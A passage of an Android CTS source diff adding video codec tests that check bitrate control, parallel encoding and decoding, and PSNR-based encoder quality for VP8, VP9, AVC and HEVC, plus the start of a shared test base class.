+     * bitrate after 6 seconds and ensure the encoder responds.
+     */
+    private void internalTestDynamicBitrateChange(
+            String codecMimeType, int bitRateMode, boolean useNdk) throws Exception {
+        int encodeSeconds = 12;    // Encoding sequence duration in seconds.
+        int[] bitrateTargetValues = { 400000, 800000 };  // List of bitrates to test.
+
+        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                bitRateMode,
+                bitrateTargetValues[0],
+                true);
+
+        // Number of seconds for each bitrate
+        int stepSeconds = encodeSeconds / bitrateTargetValues.length;
+        // Fill the bitrates values.
+        params.bitrateSet = new int[encodeSeconds * FPS];
+        for (int i = 0; i < bitrateTargetValues.length ; i++) {
+            Arrays.fill(params.bitrateSet,
+                    i * encodeSeconds * FPS / bitrateTargetValues.length,
+                    (i + 1) * encodeSeconds * FPS / bitrateTargetValues.length,
+                    bitrateTargetValues[i]);
+        }
+
+        params.useNdk = useNdk;
+        ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
+        if (bufInfo == null) {
+            Log.i(TAG, "SKIPPING testDynamicBitrateChange(): no suitable encoder found");
+            return;
+        }
+
+        VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+        // Calculate actual average bitrates  for every [stepSeconds] second.
+        int[] bitrateActualValues = new int[bitrateTargetValues.length];
+        for (int i = 0; i < bitrateTargetValues.length ; i++) {
+            bitrateActualValues[i] = 0;
+            for (int j = i * stepSeconds; j < (i + 1) * stepSeconds; j++) {
+                bitrateActualValues[i] += statistics.mBitrates.get(j);
+            }
+            bitrateActualValues[i] /= stepSeconds;
+            Log.d(TAG, "Actual bitrate for interval #" + i + " : " + bitrateActualValues[i] +
+                    ". Target: " + bitrateTargetValues[i]);
+
+            // Compare actual bitrate values to make sure at least same increasing/decreasing
+            // order as the target bitrate values.
+            for (int j = 0; j < i; j++) {
+                long differenceTarget = bitrateTargetValues[i] - bitrateTargetValues[j];
+                long differenceActual = bitrateActualValues[i] - bitrateActualValues[j];
+                if (differenceTarget * differenceActual < 0) {
+                    throw new RuntimeException("Target bitrates: " +
+                            bitrateTargetValues[j] + " , " + bitrateTargetValues[i] +
+                            ". Actual bitrates: "
+                            + bitrateActualValues[j] + " , " + bitrateActualValues[i]);
+                }
+            }
+        }
+    }
+
+     /**
+      * Check if encoder and decoder can run simultaneously on different threads.
+      *
+      * Encodes and decodes 9 seconds of raw stream sequentially in CBR mode,
+      * and then run parallel encoding and decoding of the same streams.
+      * Compares average bitrate and PSNR for sequential and parallel runs.
+      */
+     private void internalTestParallelEncodingAndDecoding(String codecMimeType) throws Exception {
+         // check for encoder up front, as by the time we detect lack of
+         // encoder support, we may have already started decoding.
+         MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+         MediaFormat format = MediaFormat.createVideoFormat(codecMimeType, WIDTH, HEIGHT);
+         if (mcl.findEncoderForFormat(format) == null) {
+             Log.i(TAG, "SKIPPING testParallelEncodingAndDecoding(): no suitable encoder found");
+             return;
+         }
+
+         int encodeSeconds = 9;
+         final int[] bitrate = new int[1];
+         final double[] psnr = new double[1];
+         final Exception[] exceptionEncoder = new Exception[1];
+         final Exception[] exceptionDecoder = new Exception[1];
+         final EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                 INPUT_YUV,
+                 ENCODED_IVF_BASE,
+                 codecMimeType,
+                 encodeSeconds,
+                 WIDTH,
+                 HEIGHT,
+                 FPS,
+                 VIDEO_ControlRateConstant,
+                 BITRATE,
+                 true);
+         final String inputIvfFilename = params.outputIvfFilename;
+
+         Runnable runEncoder = new Runnable() {
+             public void run() {
+                 try {
+                     ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
+                     VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+                     bitrate[0] = statistics.mAverageBitrate;
+                 } catch (Exception e) {
+                     Log.e(TAG, "Encoder error: " + e.toString());
+                     exceptionEncoder[0] = e;
+                 }
+             }
+         };
+         Runnable runDecoder = new Runnable() {
+             public void run() {
+                 try {
+                     decode(inputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
+                     VideoDecodingStatistics statistics = computeDecodingStatistics(
+                            params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+                            params.frameWidth, params.frameHeight);
+                     psnr[0] = statistics.mAveragePSNR;
+                 } catch (Exception e) {
+                     Log.e(TAG, "Decoder error: " + e.toString());
+                     exceptionDecoder[0] = e;
+                 }
+             }
+         };
+
+         // Sequential encoding and decoding.
+         runEncoder.run();
+         if (exceptionEncoder[0] != null) {
+             throw exceptionEncoder[0];
+         }
+         int referenceBitrate = bitrate[0];
+         runDecoder.run();
+         if (exceptionDecoder[0] != null) {
+             throw exceptionDecoder[0];
+         }
+         double referencePsnr = psnr[0];
+
+         // Parallel encoding and decoding.
+         params.outputIvfFilename = SDCARD_DIR + File.separator + ENCODED_IVF_BASE + "_copy.ivf";
+         Thread threadEncoder = new Thread(runEncoder);
+         Thread threadDecoder = new Thread(runDecoder);
+         threadEncoder.start();
+         threadDecoder.start();
+         threadEncoder.join();
+         threadDecoder.join();
+         if (exceptionEncoder[0] != null) {
+             throw exceptionEncoder[0];
+         }
+         if (exceptionDecoder[0] != null) {
+             throw exceptionDecoder[0];
+         }
+
+         // Compare bitrates and PSNRs for sequential and parallel cases.
+         Log.d(TAG, "Sequential bitrate: " + referenceBitrate + ". PSNR: " + referencePsnr);
+         Log.d(TAG, "Parallel bitrate: " + bitrate[0] + ". PSNR: " + psnr[0]);
+         assertEquals("Bitrate for sequenatial encoding" + referenceBitrate +
+                 " is different from parallel encoding " + bitrate[0],
+                 referenceBitrate, bitrate[0], MAX_BITRATE_VARIATION * referenceBitrate);
+         assertEquals("PSNR for sequenatial encoding" + referencePsnr +
+                 " is different from parallel encoding " + psnr[0],
+                 referencePsnr, psnr[0], MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE);
+     }
+
+
+    /**
+     * Check the encoder quality for various bitrates by calculating PSNR
+     *
+     * Run the the encoder for 9 seconds for each bitrate and calculate PSNR
+     * for each encoded stream.
+     * Video streams with higher bitrates should have higher PSNRs.
+     * Also compares average and minimum PSNR of codec with PSNR values of reference Google codec.
+     */
+    private void internalTestEncoderQuality(String codecMimeType, int bitRateMode)
+            throws Exception {
+        int encodeSeconds = 9;      // Encoding sequence duration in seconds for each bitrate.
+        double[] psnrPlatformCodecAverage = new double[TEST_BITRATES_SET.length];
+        double[] psnrPlatformCodecMin = new double[TEST_BITRATES_SET.length];
+        boolean[] completed = new boolean[TEST_BITRATES_SET.length];
+        boolean skipped = true;
+
+        // Run platform specific encoder for different bitrates
+        // and compare PSNR of codec with PSNR of reference Google codec.
+        for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
+            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                    INPUT_YUV,
+                    ENCODED_IVF_BASE,
+                    codecMimeType,
+                    encodeSeconds,
+                    WIDTH,
+                    HEIGHT,
+                    FPS,
+                    bitRateMode,
+                    TEST_BITRATES_SET[i],
+                    true);
+            if (encode(params) == null) {
+                // parameters not supported, try other bitrates
+                completed[i] = false;
+                continue;
+            }
+            completed[i] = true;
+            skipped = false;
+
+            decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
+            VideoDecodingStatistics statistics = computeDecodingStatistics(
+                    params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+                    params.frameWidth, params.frameHeight);
+            psnrPlatformCodecAverage[i] = statistics.mAveragePSNR;
+            psnrPlatformCodecMin[i] = statistics.mMinimumPSNR;
+        }
+
+        if (skipped) {
+            Log.i(TAG, "SKIPPING testEncoderQuality(): no bitrates supported");
+            return;
+        }
+
+        // First do a sanity check - higher bitrates should results in higher PSNR.
+        for (int i = 1; i < TEST_BITRATES_SET.length ; i++) {
+            if (!completed[i]) {
+                continue;
+            }
+            for (int j = 0; j < i; j++) {
+                if (!completed[j]) {
+                    continue;
+                }
+                double differenceBitrate = TEST_BITRATES_SET[i] - TEST_BITRATES_SET[j];
+                double differencePSNR = psnrPlatformCodecAverage[i] - psnrPlatformCodecAverage[j];
+                if (differenceBitrate * differencePSNR < 0) {
+                    throw new RuntimeException("Target bitrates: " +
+                            TEST_BITRATES_SET[j] + ", " + TEST_BITRATES_SET[i] +
+                            ". Actual PSNRs: "
+                            + psnrPlatformCodecAverage[j] + ", " + psnrPlatformCodecAverage[i]);
+                }
+            }
+        }
+
+        // Then compare average and minimum PSNR of platform codec with reference Google codec -
+        // average PSNR for platform codec should be no more than 2 dB less than reference PSNR
+        // and minumum PSNR - no more than 4 dB less than reference minimum PSNR.
+        // These PSNR difference numbers are arbitrary for now, will need further estimation
+        // when more devices with HW video codec will appear.
+        for (int i = 0; i < TEST_BITRATES_SET.length ; i++) {
+            if (!completed[i]) {
+                continue;
+            }
+
+            Log.d(TAG, "Bitrate " + TEST_BITRATES_SET[i]);
+            Log.d(TAG, "Reference: Average: " + REFERENCE_AVERAGE_PSNR[i] + ". Minimum: " +
+                    REFERENCE_MINIMUM_PSNR[i]);
+            Log.d(TAG, "Platform:  Average: " + psnrPlatformCodecAverage[i] + ". Minimum: " +
+                    psnrPlatformCodecMin[i]);
+            if (psnrPlatformCodecAverage[i] < REFERENCE_AVERAGE_PSNR[i] -
+                    MAX_AVERAGE_PSNR_DIFFERENCE) {
+                throw new RuntimeException("Low average PSNR " + psnrPlatformCodecAverage[i] +
+                        " comparing to reference PSNR " + REFERENCE_AVERAGE_PSNR[i] +
+                        " for bitrate " + TEST_BITRATES_SET[i]);
+            }
+            if (psnrPlatformCodecMin[i] < REFERENCE_MINIMUM_PSNR[i] -
+                    MAX_MINIMUM_PSNR_DIFFERENCE) {
+                throw new RuntimeException("Low minimum PSNR " + psnrPlatformCodecMin[i] +
+                        " comparing to reference PSNR " + REFERENCE_MINIMUM_PSNR[i] +
+                        " for bitrate " + TEST_BITRATES_SET[i]);
+            }
+        }
+    }
+
+    public void testBasicVP8CBR() throws Exception {
+        internalTestBasic(VP8_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testBasicVP8VBR() throws Exception {
+        internalTestBasic(VP8_MIME, VIDEO_ControlRateVariable);
+    }
+
+    public void testBasicVP9CBR() throws Exception {
+        internalTestBasic(VP9_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testBasicVP9VBR() throws Exception {
+        internalTestBasic(VP9_MIME, VIDEO_ControlRateVariable);
+    }
+
+    public void testBasicAVCCBR() throws Exception {
+        internalTestBasic(AVC_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testBasicAVCVBR() throws Exception {
+        internalTestBasic(AVC_MIME, VIDEO_ControlRateVariable);
+    }
+    public void testBasicHEVCCBR() throws Exception {
+        internalTestBasic(HEVC_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testBasicHEVCVBR() throws Exception {
+        internalTestBasic(HEVC_MIME, VIDEO_ControlRateVariable);
+    }
+    public void testAsyncEncodingVP8CBR() throws Exception {
+        internalTestAsyncEncoding(VP8_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testAsyncEncodingVP8VBR() throws Exception {
+        internalTestAsyncEncoding(VP8_MIME, VIDEO_ControlRateVariable);
+    }
+
+    public void testAsyncEncodingVP9CBR() throws Exception {
+        internalTestAsyncEncoding(VP9_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testAsyncEncodingVP9VBR() throws Exception {
+        internalTestAsyncEncoding(VP9_MIME, VIDEO_ControlRateVariable);
+    }
+
+    public void testAsyncEncodingAVCCBR() throws Exception {
+        internalTestAsyncEncoding(AVC_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testAsyncEncodingAVCVBR() throws Exception {
+        internalTestAsyncEncoding(AVC_MIME, VIDEO_ControlRateVariable);
+    }
+    public void testAsyncEncodingHEVCCBR() throws Exception {
+        internalTestAsyncEncoding(HEVC_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testAsyncEncodingHEVCVBR() throws Exception {
+        internalTestAsyncEncoding(HEVC_MIME, VIDEO_ControlRateVariable);
+    }
+
+    public void testSyncFrameVP8CBR() throws Exception {
+        internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateConstant, false);
+    }
+    public void testSyncFrameVP8VBR() throws Exception {
+        internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateVariable, false);
+    }
+
+    public void testSyncFrameVP8NdkCBR() throws Exception {
+        internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateConstant, true);
+    }
+    public void testSyncFrameVP8NdkVBR() throws Exception {
+        internalTestSyncFrame(VP8_MIME, VIDEO_ControlRateVariable, true);
+    }
+
+    public void testSyncFrameVP9CBR() throws Exception {
+        internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateConstant, false);
+    }
+    public void testSyncFrameVP9VBR() throws Exception {
+        internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateVariable, false);
+    }
+
+    public void testSyncFrameVP9NdkCBR() throws Exception {
+        internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateConstant, true);
+    }
+    public void testSyncFrameVP9NdkVBR() throws Exception {
+        internalTestSyncFrame(VP9_MIME, VIDEO_ControlRateVariable, true);
+    }
+
+    public void testSyncFrameAVCCBR() throws Exception {
+        internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateConstant, false);
+    }
+    public void testSyncFrameAVCVBR() throws Exception {
+        internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateVariable, false);
+    }
+
+    public void testSyncFrameAVCNdkCBR() throws Exception {
+        internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateConstant, true);
+    }
+    public void testSyncFrameAVCNdkVBR() throws Exception {
+        internalTestSyncFrame(AVC_MIME, VIDEO_ControlRateVariable, true);
+    }
+
+    public void testSyncFrameHEVCCBR() throws Exception {
+        internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateConstant, false);
+    }
+    public void testSyncFrameHEVCVBR() throws Exception {
+        internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateVariable, false);
+    }
+
+    public void testSyncFrameHEVCNdkCBR() throws Exception {
+        internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateConstant, true);
+    }
+    public void testSyncFrameHEVCNdkVBR() throws Exception {
+        internalTestSyncFrame(HEVC_MIME, VIDEO_ControlRateVariable, true);
+    }
+
+    public void testDynamicBitrateChangeVP8CBR() throws Exception {
+        internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateConstant, false);
+    }
+    public void testDynamicBitrateChangeVP8VBR() throws Exception {
+        internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateVariable, false);
+    }
+    public void testDynamicBitrateChangeVP8NdkCBR() throws Exception {
+        internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateConstant, true);
+    }
+    public void testDynamicBitrateChangeVP8NdkVBR() throws Exception {
+        internalTestDynamicBitrateChange(VP8_MIME, VIDEO_ControlRateVariable, true);
+    }
+    public void testDynamicBitrateChangeVP9CBR() throws Exception {
+        internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateConstant, false);
+    }
+    public void testDynamicBitrateChangeVP9VBR() throws Exception {
+        internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateVariable, false);
+    }
+    public void testDynamicBitrateChangeVP9NdkCBR() throws Exception {
+        internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateConstant, true);
+    }
+    public void testDynamicBitrateChangeVP9NdkVBR() throws Exception {
+        internalTestDynamicBitrateChange(VP9_MIME, VIDEO_ControlRateVariable, true);
+    }
+    public void testDynamicBitrateChangeAVCCBR() throws Exception {
+        internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateConstant, false);
+    }
+    public void testDynamicBitrateChangeAVCVBR() throws Exception {
+        internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateVariable, false);
+    }
+    public void testDynamicBitrateChangeAVCNdkCBR() throws Exception {
+        internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateConstant, true);
+    }
+    public void testDynamicBitrateChangeAVCNdkVBR() throws Exception {
+        internalTestDynamicBitrateChange(AVC_MIME, VIDEO_ControlRateVariable, true);
+    }
+    public void testDynamicBitrateChangeHEVCCBR() throws Exception {
+        internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateConstant, false);
+    }
+    public void testDynamicBitrateChangeHEVCVBR() throws Exception {
+        internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateVariable, false);
+    }
+    public void testDynamicBitrateChangeHEVCNdkCBR() throws Exception {
+        internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateConstant, true);
+    }
+    public void testDynamicBitrateChangeHEVCNdkVBR() throws Exception {
+        internalTestDynamicBitrateChange(HEVC_MIME, VIDEO_ControlRateVariable, true);
+    }
+
+    public void testEncoderQualityVP8CBR() throws Exception {
+        internalTestEncoderQuality(VP8_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testEncoderQualityVP8VBR() throws Exception {
+        internalTestEncoderQuality(VP8_MIME, VIDEO_ControlRateVariable);
+    }
+
+    public void testEncoderQualityVP9CBR() throws Exception {
+        internalTestEncoderQuality(VP9_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testEncoderQualityVP9VBR() throws Exception {
+        internalTestEncoderQuality(VP9_MIME, VIDEO_ControlRateVariable);
+    }
+
+    public void testEncoderQualityAVCCBR() throws Exception {
+        internalTestEncoderQuality(AVC_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testEncoderQualityAVCVBR() throws Exception {
+        internalTestEncoderQuality(AVC_MIME, VIDEO_ControlRateVariable);
+    }
+
+    public void testEncoderQualityHEVCCBR() throws Exception {
+        internalTestEncoderQuality(HEVC_MIME, VIDEO_ControlRateConstant);
+    }
+    public void testEncoderQualityHEVCVBR() throws Exception {
+        internalTestEncoderQuality(HEVC_MIME, VIDEO_ControlRateVariable);
+    }
+
+    public void testParallelEncodingAndDecodingVP8() throws Exception {
+        internalTestParallelEncodingAndDecoding(VP8_MIME);
+    }
+    public void testParallelEncodingAndDecodingVP9() throws Exception {
+        internalTestParallelEncodingAndDecoding(VP9_MIME);
+    }
+    public void testParallelEncodingAndDecodingAVC() throws Exception {
+        internalTestParallelEncodingAndDecoding(AVC_MIME);
+    }
+    public void testParallelEncodingAndDecodingHEVC() throws Exception {
+        internalTestParallelEncodingAndDecoding(HEVC_MIME);
+    }
+}
+
diff --git a/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
new file mode 100644
index 0000000..7dd1018
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
@@ -0,0 +1,2069 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.media.MediaCodec;
+import android.media.MediaCodec.CodecException;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.Looper;
+import android.os.Handler;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.media.cts.R;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.Locale;
+import java.util.ArrayList;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Verification test for video encoder and decoder.
+ *
+ * A raw yv12 stream is encoded at various settings and written to an IVF
+ * file. Encoded stream bitrate and key frame interval are checked against target values.
+ * The stream is later decoded by the decoder to verify frames are decodable and to
+ * calculate PSNR values for various bitrates.
+ */
+public class VideoCodecTestBase extends AndroidTestCase {
+
+    protected static final String TAG = "VideoCodecTestBase";
+    protected static final String VP8_MIME = MediaFormat.MIMETYPE_VIDEO_VP8;
+    protected static final String VP9_MIME = MediaFormat.MIMETYPE_VIDEO_VP9;
+    protected static final String AVC_MIME = MediaFormat.MIMETYPE_VIDEO_AVC;
+    protected static final String HEVC_MIME = MediaFormat.MIMETYPE_VIDEO_HEVC;
+    protected static final String SDCARD_DIR =
+            Environment.getExternalStorageDirectory().getAbsolutePath();
+
+    // Default timeout for MediaCodec buffer dequeue - 200 ms.
+    protected static final long DEFAULT_DEQUEUE_TIMEOUT_US = 200000;
+    // Default timeout for MediaEncoderAsync - 30 sec.
+    protected static final long DEFAULT_ENCODE_TIMEOUT_MS = 30000;
+    // Default sync frame interval in frames
+    private static final int SYNC_FRAME_INTERVAL = 30;
+    // Video bitrate type - should be set to OMX_Video_ControlRateConstant from OMX_Video.h
+    protected static final int VIDEO_ControlRateVariable = 1;
+    protected static final int VIDEO_ControlRateConstant = 2;
+    // NV12 color format supported by QCOM codec, but not declared in MediaCodec -
+    // see /hardware/qcom/media/mm-core/inc/OMX_QCOMExtns.h
+    private static final int COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m = 0x7FA30C04;
+    // Allowable color formats supported by codec - in order of preference.
+    private static final int[] mSupportedColorList = {
+            CodecCapabilities.COLOR_FormatYUV420Planar,
+            CodecCapabilities.COLOR_FormatYUV420SemiPlanar,
+            CodecCapabilities.COLOR_QCOM_FormatYUV420SemiPlanar,
+            COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m
+    };
+    // Scaled image cache list - contains scale factors, for which up-scaled frames
+    // were calculated and were written to yuv file.
+    ArrayList<Integer> mScaledImages = new ArrayList<Integer>();
+
+    private Resources mResources;
+
+    @Override
+    public void setContext(Context context) {
+        super.setContext(context);
+        mResources = mContext.getResources();
+    }
+
+    /**
+     *  Video codec properties generated by getVideoCodecProperties() function.
+     */
+    private class CodecProperties {
+        CodecProperties(String codecName, int colorFormat) {
+            this.codecName = codecName;
+            this.colorFormat = colorFormat;
+        }
+        public final String codecName; // OpenMax component name for Video codec.
+        public final int colorFormat;  // Color format supported by codec.
+    }
+
+    /**
+     * Function to find Video codec.
+     *
+     * Iterates through the list of available codecs and tries to find
+     * Video codec, which can support either YUV420 planar or NV12 color formats.
+     * If forceGoogleCodec parameter set to true the function always returns
+     * Google Video codec.
+     * If forceGoogleCodec parameter set to false the functions looks for platform
+     * specific Video codec first. If no platform specific codec exist, falls back to
+     * Google Video codec.
+     *
+     * @param isEncoder     Flag if encoder is requested.
+     * @param forceGoogleCodec  Forces to use Google codec.
+     */
+    private CodecProperties getVideoCodecProperties(
+            boolean isEncoder,
+            MediaFormat format,
+            boolean forceGoogleCodec) throws Exception {
+        CodecProperties codecProperties = null;
+        String mime = format.getString(MediaFormat.KEY_MIME);
+
+        // Loop through the list of codec components in case platform specific codec
+        // is requested.
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            if (isEncoder != codecInfo.isEncoder()) {
+                continue;
+            }
+            Log.v(TAG, codecInfo.getName());
+            // TODO: remove dependence of Google from the test
+            // Check if this is Google codec - we should ignore it.
+            if (codecInfo.isVendor() && forceGoogleCodec) {
+                continue;
+            }
+
+            for (String type : codecInfo.getSupportedTypes()) {
+                if (!type.equalsIgnoreCase(mime)) {
+                    continue;
+                }
+                CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(type);
+                if (!capabilities.isFormatSupported(format)) {
+                    continue;
+                }
+
+                // Get candidate codec properties.
+                Log.v(TAG, "Found candidate codec " + codecInfo.getName());
+                for (int colorFormat: capabilities.colorFormats) {
+                    Log.v(TAG, "   Color: 0x" + Integer.toHexString(colorFormat));
+                }
+
+                // Check supported color formats.
+                for (int supportedColorFormat : mSupportedColorList) {
+                    for (int codecColorFormat : capabilities.colorFormats) {
+                        if (codecColorFormat == supportedColorFormat) {
+                            codecProperties = new CodecProperties(codecInfo.getName(),
+                                    codecColorFormat);
+                            Log.v(TAG, "Found target codec " + codecProperties.codecName +
+                                    ". Color: 0x" + Integer.toHexString(codecColorFormat));
+                            // return first vendor codec (hopefully HW) found
+                            if (codecInfo.isVendor()) {
+                                return codecProperties;
+                            }
+                        }
+                    }
+                }
+            }
+        }
+        if (codecProperties == null) {
+            Log.i(TAG, "no suitable " + (forceGoogleCodec ? "google " : "")
+                    + (isEncoder ? "encoder " : "decoder ") + "found for " + format);
+        }
+        return codecProperties;
+    }
+
+    /**
+     * Parameters for encoded video stream.
+     */
+    protected class EncoderOutputStreamParameters {
+        // Name of raw YUV420 input file. When the value of this parameter
+        // is set to null input file descriptor from inputResourceId parameter
+        // is used instead.
+        public String inputYuvFilename;
+        // Name of scaled YUV420 input file.
+        public String scaledYuvFilename;
+        // File descriptor for the raw input file (YUV420). Used only if
+        // inputYuvFilename parameter is null.
+        int inputResourceId;
+        // Name of the IVF file to write encoded bitsream
+        public String outputIvfFilename;
+        // Mime Type of the Encoded content.
+        public String codecMimeType;
+        // Force to use Google Video encoder.
+        boolean forceGoogleEncoder;
+        // Number of frames to encode.
+        int frameCount;
+        // Frame rate of input file in frames per second.
+        int frameRate;
+        // Encoded frame width.
+        public int frameWidth;
+        // Encoded frame height.
+        public int frameHeight;
+        // Encoding bitrate array in bits/second for every frame. If array length
+        // is shorter than the total number of frames, the last value is re-used for
+        // all remaining frames. For constant bitrate encoding single element
+        // array can be used with first element set to target bitrate value.
+        public int[] bitrateSet;
+        // Encoding bitrate type - VBR or CBR
+        public int bitrateType;
+        // Number of temporal layers
+        public int temporalLayers;
+        // Desired key frame interval - codec is asked to generate key frames
+        // at a period defined by this parameter.
+        public int syncFrameInterval;
+        // Optional parameter - forced key frame interval. Used to
+        // explicitly request the codec to generate key frames using
+        // MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME parameter.
+        public int syncForceFrameInterval;
+        // Buffer timeout
+        long timeoutDequeue;
+        // Flag if encoder should run in Looper thread.
+        boolean runInLooperThread;
+        // Flag if use NdkMediaCodec
+        boolean useNdk;
+    }
+
+    private String getCodecSuffix(String codecMimeType) {
+        switch(codecMimeType) {
+        case VP8_MIME:
+            return "vp8";
+        case VP9_MIME:
+            return "vp9";
+        case AVC_MIME:
+            return "avc";
+        case HEVC_MIME:
+            return "hevc";
+        default:
+            Log.w(TAG, "getCodecSuffix got an unexpected codecMimeType.");
+        }
+        return "video";
+    }
+
+    /**
+     * Generates an array of default parameters for encoder output stream based on
+     * upscaling value.
+     */
+    protected ArrayList<EncoderOutputStreamParameters> getDefaultEncodingParameterList(
+            String inputYuvName,
+            String outputIvfBaseName,
+            String codecMimeType,
+            int encodeSeconds,
+            int[] resolutionScales,
+            int frameWidth,
+            int frameHeight,
+            int frameRate,
+            int bitrateMode,
+            int[] bitrates,
+            boolean syncEncoding) {
+        assertTrue(resolutionScales.length == bitrates.length);
+        int numCodecs = resolutionScales.length;
+        ArrayList<EncoderOutputStreamParameters> outputParameters =
+                new ArrayList<EncoderOutputStreamParameters>(numCodecs);
+        for (int i = 0; i < numCodecs; i++) {
+            EncoderOutputStreamParameters params = new EncoderOutputStreamParameters();
+            if (inputYuvName != null) {
+                params.inputYuvFilename = SDCARD_DIR + File.separator + inputYuvName;
+            } else {
+                params.inputYuvFilename = null;
+            }
+            params.scaledYuvFilename = SDCARD_DIR + File.separator +
+                    outputIvfBaseName + resolutionScales[i]+ ".yuv";
+            params.inputResourceId = R.raw.football_qvga;
+            params.codecMimeType = codecMimeType;
+            String codecSuffix = getCodecSuffix(codecMimeType);
+            params.outputIvfFilename = SDCARD_DIR + File.separator +
+                    outputIvfBaseName + resolutionScales[i] + "_" + codecSuffix + ".ivf";
+            params.forceGoogleEncoder = false;
+            params.frameCount = encodeSeconds * frameRate;
+            params.frameRate = frameRate;
+            params.frameWidth = Math.min(frameWidth * resolutionScales[i], 1280);
+            params.frameHeight = Math.min(frameHeight * resolutionScales[i], 720);
+            params.bitrateSet = new int[1];
+            params.bitrateSet[0] = bitrates[i];
+            params.bitrateType = bitrateMode;
+            params.temporalLayers = 0;
+            params.syncFrameInterval = SYNC_FRAME_INTERVAL;
+            params.syncForceFrameInterval = 0;
+            if (syncEncoding) {
+                params.timeoutDequeue = DEFAULT_DEQUEUE_TIMEOUT_US;
+                params.runInLooperThread = false;
+            } else {
+                params.timeoutDequeue = 0;
+                params.runInLooperThread = true;
+            }
+            outputParameters.add(params);
+        }
+        return outputParameters;
+    }
+
+    protected EncoderOutputStreamParameters getDefaultEncodingParameters(
+            String inputYuvName,
+            String outputIvfBaseName,
+            String codecMimeType,
+            int encodeSeconds,
+            int frameWidth,
+            int frameHeight,
+            int frameRate,
+            int bitrateMode,
+            int bitrate,
+            boolean syncEncoding) {
+        int[] scaleValues = { 1 };
+        int[] bitrates = { bitrate };
+        return getDefaultEncodingParameterList(
+                inputYuvName,
+                outputIvfBaseName,
+                codecMimeType,
+                encodeSeconds,
+                scaleValues,
+                frameWidth,
+                frameHeight,
+                frameRate,
+                bitrateMode,
+                bitrates,
+                syncEncoding).get(0);
+    }
+
+    /**
+     * Converts (interleaves) YUV420 planar to NV12.
